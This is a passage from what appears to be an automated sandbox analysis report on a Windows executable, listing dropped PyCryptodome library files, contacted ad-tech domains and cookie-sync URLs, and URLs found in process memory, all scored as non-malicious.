C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_arc2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_blowfish.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_cast.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_cbc.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_cfb.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_ctr.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_des.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_des3.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_ecb.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_eksblowfish.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_ocb.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_ofb.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_BLAKE2b.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_BLAKE2s.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_MD2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_MD4.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_MD5.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_RIPEMD160.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_SHA1.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_SHA224.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_SHA256.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_SHA384.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_SHA512.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_ghash_clmul.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_ghash_portable.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_keccak.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_poly1305.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Math\_modexp.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Protocol\_scrypt.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\PublicKey\_ec_ws.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\PublicKey\_ed25519.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\PublicKey\_ed448.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\PublicKey\_x25519.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Util\_cpuid_c.pyd	0%	ReversingLabs

Source	Detection	Scanner	Label
http://crl3.digi~R	0%	Avira URL Cloud	safe
http://crl.microsoftp	0%	Avira URL Cloud	safe
http://crl3.digir	0%	Avira URL Cloud	safe
http://www.microsoft.coo	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s.tribalfusion.com	172.64.150.63	true	false	high
s.twitter.com	104.244.42.67	true	false	high
global.px.quantserve.com	91.228.74.200	true	false	high
aragorn-prod-or-acai-lb.inbake.com	52.43.7.224	true	false	high
sni1gl.wpc.alphacdn.net	152.199.21.175	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
eu-eb2.3lift.com	76.223.111.18	true	false	high
bttrack.com	192.132.33.68	true	false	high
adobetarget.data.adobedc.net	66.235.152.225	true	false	high
idsync.rlcdn.com	35.244.154.8	true	false	high
a.tribalfusion.com	172.64.150.63	true	false	high
sync.crwdcntrl.net	13.228.48.14	true	false	high
cm.g.doubleclick.net	172.217.17.34	true	false	high
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	high
rtb.adentifi.com	34.198.65.183	true	false	high
www.google.com	172.217.21.36	true	false	high
dcs-ups.g03.yahoodns.net	188.125.88.204	true	false	high
dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com	54.154.234.207	true	false	high
msftenterprise.sc.omtrdc.net	63.140.62.17	true	false	high
ib.anycast.adnxs.com	37.252.172.123	true	false	high
match.adsrvr.org	52.223.40.198	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
ag.innovid.com	unknown	unknown	false	high
idpix.media6degrees.com	unknown	unknown	false	high
px.owneriq.net	unknown	unknown	false	high
ds.reson8.com	unknown	unknown	false	high
ups.analytics.yahoo.com	unknown	unknown	false	high
cm.everesttech.net	unknown	unknown	false	high
jadserve.postrelease.com	unknown	unknown	false	high
dmpsync.3lift.com	unknown	unknown	false	high
dpm.demdex.net	unknown	unknown	false	high
rtd-tm.everesttech.net	unknown	unknown	false	high
servedby.flashtalking.com	unknown	unknown	false	high
assets.adobedtm.com	unknown	unknown	false	high
rtd.tubemogul.com	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high
mscom.demdex.net	unknown	unknown	false	high
mem.gfx.ms	unknown	unknown	false	high
analytics.twitter.com	unknown	unknown	false	high
c.s-microsoft.com	unknown	unknown	false	high
cms.quantserve.com	unknown	unknown	false	high
support.content.office.net	unknown	unknown	false	high
cms.analytics.yahoo.com	unknown	unknown	false	high
ib.adnxs.com	unknown	unknown	false	high
login.microsoftonline.com	unknown	unknown	false	high
sync-tm.everesttech.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://dpm.demdex.net/ibs:dpid=411&dpuuid=Z3FGwQAAAIPC1wOJ	false	high
https://idsync.rlcdn.com/365868.gif?partner_uid=81980359511806646913714319239841733483	false	high
https://bttrack.com/dmp/adobe/user?dd_uuid=81980359511806646913714319239841733483	false	high
https://cms.analytics.yahoo.com/cms?partner_id=ADOBE&_hosted_id=81980359511806646913714319239841733483&gdpr=0&gdpr_consent=	false	high
https://msftenterprise.sc.omtrdc.net/id?d_visid_ver=4.4.0&d_fieldgroup=A&mcorgid=EA76ADE95776D2EC7F000101%40AdobeOrg&mid=81699440500871430363688403270984381028&ts=1735476925721	false	high
https://dpm.demdex.net/ibs:dpid=477&dpuuid=779416a4c94a11361c21809cfac65e3347c1e49f6529a35cccf14d681b05f925b0da87c991749652	false	high
https://ib.adnxs.com/bounce?%2Fgetuid%3Fhttps%253A%252F%252Fdpm.demdex.net%252Fibs%253Adpid%253D358%2526dpuuid%253D%2524UID	false	high
https://dpm.demdex.net/ibs:dpid=992&dpuuid=12uyav2s7qrz9	false	high
https://ups.analytics.yahoo.com/ups/58782/cms?partner_id=ADOBE&_hosted_id=81980359511806646913714319239841733483&gdpr=0&gdpr_consent=	false	high
https://dpm.demdex.net/ibs:dpid=80742&dpuuid=c8fd9785-6050-4726-a9f9-b46a4cd24059	false	high
https://dmpsync.3lift.com/getuid?ld=1&gdpr=0&cmp_cs=&us_privacy=&redir=%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D72352%26dpuuid%3D%24UID%26gdpr%3D0%26gdpr_consent%3D	false	high
https://a.tribalfusion.com/i.match?p=b13&u=81980359511806646913714319239841733483&redirect=https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid=22054&dpuuid=$TF_USER_ID_ENC$	false	high
https://dpm.demdex.net/ibs:dpid=903&dpuuid=1583541f-3b09-4660-8f24-5ee8afc5ad60	false	high
https://dpm.demdex.net/ibs:dpid=782&dpuuid=Z3FGwQAAAIPC1wOJ	false	high
https://ups.analytics.yahoo.com/ups/58782/cms?partner_id=ADOBE&_hosted_id=81980359511806646913714319239841733483&gdpr=0&gdpr_consent=&uid=81980359511806646913714319239841733483&verify=true	false	high
https://dpm.demdex.net/id?d_visid_ver=4.4.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_orgid=EA76ADE95776D2EC7F000101%40AdobeOrg&d_nsid=0&ts=1735476923217	false	high
https://dpm.demdex.net/ibs:dpid=49276&dpuuid=4751b02c-91a9-44d0-98c8-2ce193718c9d	false	high
https://analytics.twitter.com/i/adsct?p_user_id=81980359511806646913714319239841733483&p_id=38594	false	high
https://dpm.demdex.net/ibs:dpid=3047&dpuuid=62072665D1BB57&gdpr=0&gdpr_consent=	false	high
https://dpm.demdex.net/ibs:dpid=1957&dpuuid=36FF432003A167C3345E564402D36635	false	high
https://dpm.demdex.net/ibs:dpid=358&dpuuid=7919660468872361886	false	high
https://cm.g.doubleclick.net/pixel?google_nid=adobe_dmp&google_cm&gdpr=0&gdpr_consent=&google_hm=ODE5ODAzNTk1MTE4MDY2NDY5MTM3MTQzMTkyMzk4NDE3MzM0ODM=	false	high
https://dpm.demdex.net/ibs:dpid=1175&gdpr=0&dpuuid=rBnh2q4Ystq3HrTfrxj70qhItNm3GrLbrRp0Vyrd	false	high
https://s.tribalfusion.com/z/i.match?p=b13&u=81980359511806646913714319239841733483&redirect=https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid=22054&dpuuid=$TF_USER_ID_ENC$	false	high
https://mscom.demdex.net/dest5.html?d_nsid=0	false	high
https://cms.quantserve.com/pixel/p-vj4AYjBqd6VJ2.gif?idmatch=0&gdpr=0&gdpr_consent=	false	high
https://idsync.rlcdn.com/1000.gif?memo=CKyqFhIxCi0IARCYEhomODE5ODAzNTk1MTE4MDY2NDY5MTM3MTQzMTkyMzk4NDE3MzM0ODMQABoNCMONxbsGEgUI6AcQAEIASgA	false	high
https://ib.adnxs.com/getuid?https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D358%26dpuuid%3D%24UID	false	high
https://cm.g.doubleclick.net/pixel?google_nid=adobe_dmp&google_cm=&gdpr=0&gdpr_consent=&google_hm=ODE5ODAzNTk1MTE4MDY2NDY5MTM3MTQzMTkyMzk4NDE3MzM0ODM=&google_tc=	false	high
https://rtb.adentifi.com/CookieSyncAdobe	false	high
https://dpm.demdex.net/ibs:dpid=22054	false	high
https://dpm.demdex.net/ibs:dpid=72352&dpuuid=1308204673543769676240&gdpr=0&gdpr_consent=	false	high
https://dpm.demdex.net/ibs:dpid=771&dpuuid=CAESEIv6GK4jHao86K5Dl2BpM8w&google_cver=1?gdpr=0&gdpr_consent=	false	high
https://dpm.demdex.net/ibs:dpid=57282&dpuuid=2E914D972AFE82751AB32520679948A5	false	high
https://dpm.demdex.net/ibs:dpid=53196&dpuuid=Q7887633501042930475	false	high
https://ag.innovid.com/dv/sync?tid=6	false	high
https://dpm.demdex.net/id?d_visid_ver=4.4.0&d_fieldgroup=AAM&d_rtbd=json&d_ver=2&d_orgid=EA76ADE95776D2EC7F000101%40AdobeOrg&d_nsid=0&d_mid=81699440500871430363688403270984381028&d_blob=6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y&d_cid_ic=MC1%0163539283e80441aa9dfff040b635d212%012&ts=1735476928112	false	high
https://dmpsync.3lift.com/getuid?redir=%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D72352%26dpuuid%3D$UID%26gdpr%3D0%26gdpr_consent%3D&gdpr=0&gdpr_consent=	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl3.digir	SystemUpdate.exe, 00000012.00000003.1843629057.00000245F38C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000004.00000002.1957310258.000002513C583000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000039.00000003.2435149189.0000015985EE3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000039.00000003.2435149189.0000015985F34000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000039.00000003.2435149189.0000015985F47000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1718087522.000001F6E2426000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1710025061.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709463356.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709298564.000001F6E2436000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709347432.000001F6E2402000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709311079.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000002.1757804161.000001F6E23E4000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709590975.000001F6E2402000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709463356.000001F6E2402000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1756004944.000001F6E4403000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1756716169.000001F6E23E3000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709730001.000001F6E2402000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709285474.000001F6E243B000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709913441.000001F6E23FF000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709913441.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709347432.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1755741956.000001F6E23B6000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1755934980.000001F6E23DF000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709590975.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000002.1758961819.000001F6E4404000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709198904.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl3.digi	T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1702887018.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1814913258.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1843629057.00000245F38C4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.python.org/download/releases/2.3/mro/.	T1#U52a9#U624b1.0.1.exe, 00000001.00000002.1758674190.000001F6E41F0000.00000004.00001000.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1710459219.000001F6E244D000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000E.00000003.1829408407.000002B9E79B9000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000E.00000003.1829474776.000002B9E79CD000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000013.00000003.1865587018.000001D545EE1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.microsoftp	powershell.exe, 00000004.00000002.1866941156.000002512A885000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod.C:	svchost.exe, 00000039.00000003.2435149189.0000015985E96000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2	svchost.exe, 00000039.00000003.2435149189.0000015985F02000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.thawte.com/ThawteTimestampingCA.crl0	T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703976809.00000173A903B000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703976809.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1704803384.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1821331699.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1820471446.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1817110616.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1817110616.000001EB0A292000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1844723692.00000245F38CD000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1846178643.00000245F38C4000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1844723692.00000245F38C4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000004.00000002.1957310258.000002513C583000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.1882736475.0000026FBFCF2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1957310258.000002513C583000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.python.org/dev/peps/pep-0205/	T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1706919277.00000173A9033000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1825196606.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1851565284.00000245F38C4000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000013.00000003.1867345702.000001D545EEE000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000013.00000003.1867589312.000001D545EEE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.1846925587.0000026FAFC81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1867366706.000002512C511000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl3.digi~R	WinHex.exe, 0000000B.00000003.1814913258.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000039.00000003.2435149189.0000015985F02000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688	T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1710025061.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709463356.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709311079.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000002.1758367361.000001F6E3C50000.00000004.00001000.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709913441.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709347432.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709590975.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709198904.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000E.00000003.1827855767.000002B9E799E000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000E.00000003.1828277109.000002B9E799E000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000E.00000003.1828101951.000002B9E799E000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000E.00000003.1828556196.000002B9E799E000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000E.00000003.1828023488.000002B9E799E000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000E.00000003.1829089256.000002B9E799E000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000E.00000003.1828002573.000002B9E79A4000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000E.00000003.1828823515.000002B9E799E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.1882736475.0000026FBFCF2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1957310258.000002513C583000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000004.00000002.1867366706.000002512C738000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000004.00000002.1867366706.000002512C738000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000002.00000002.1846925587.0000026FAFEA8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1867366706.000002512C738000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000004.00000002.1867366706.000002512C738000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.thawte.com0	T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703976809.00000173A903B000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703976809.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1704803384.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1821331699.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1820471446.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1817110616.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1817110616.000001EB0A292000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1844723692.00000245F38CD000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1846178643.00000245F38C4000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1844723692.00000245F38C4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1718087522.000001F6E2426000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1710025061.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709463356.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709298564.000001F6E2436000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709347432.000001F6E2402000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709311079.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000002.1757804161.000001F6E23E4000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709590975.000001F6E2402000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709463356.000001F6E2402000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1756004944.000001F6E4403000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1756716169.000001F6E23E3000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709730001.000001F6E2402000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709285474.000001F6E243B000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709913441.000001F6E23FF000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709913441.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709347432.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1755741956.000001F6E23B6000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1755934980.000001F6E23DF000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709590975.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1756154803.000001F6E4407000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709198904.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000004.00000002.1957310258.000002513C583000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L6	T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709298564.000001F6E2436000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.python.org/d	T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1755828370.000001F6E4452000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1755443946.000001F6E4452000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000002.1758988977.000001F6E4452000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1756154803.000001F6E4452000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000004.00000002.1867366706.000002512C738000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy	T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1718087522.000001F6E2426000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1710025061.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709463356.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709298564.000001F6E2436000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709347432.000001F6E2402000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709311079.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000002.1757804161.000001F6E23E4000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709590975.000001F6E2402000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709463356.000001F6E2402000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1756004944.000001F6E4403000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1756716169.000001F6E23E3000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709730001.000001F6E2402000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709285474.000001F6E243B000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709913441.000001F6E23FF000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 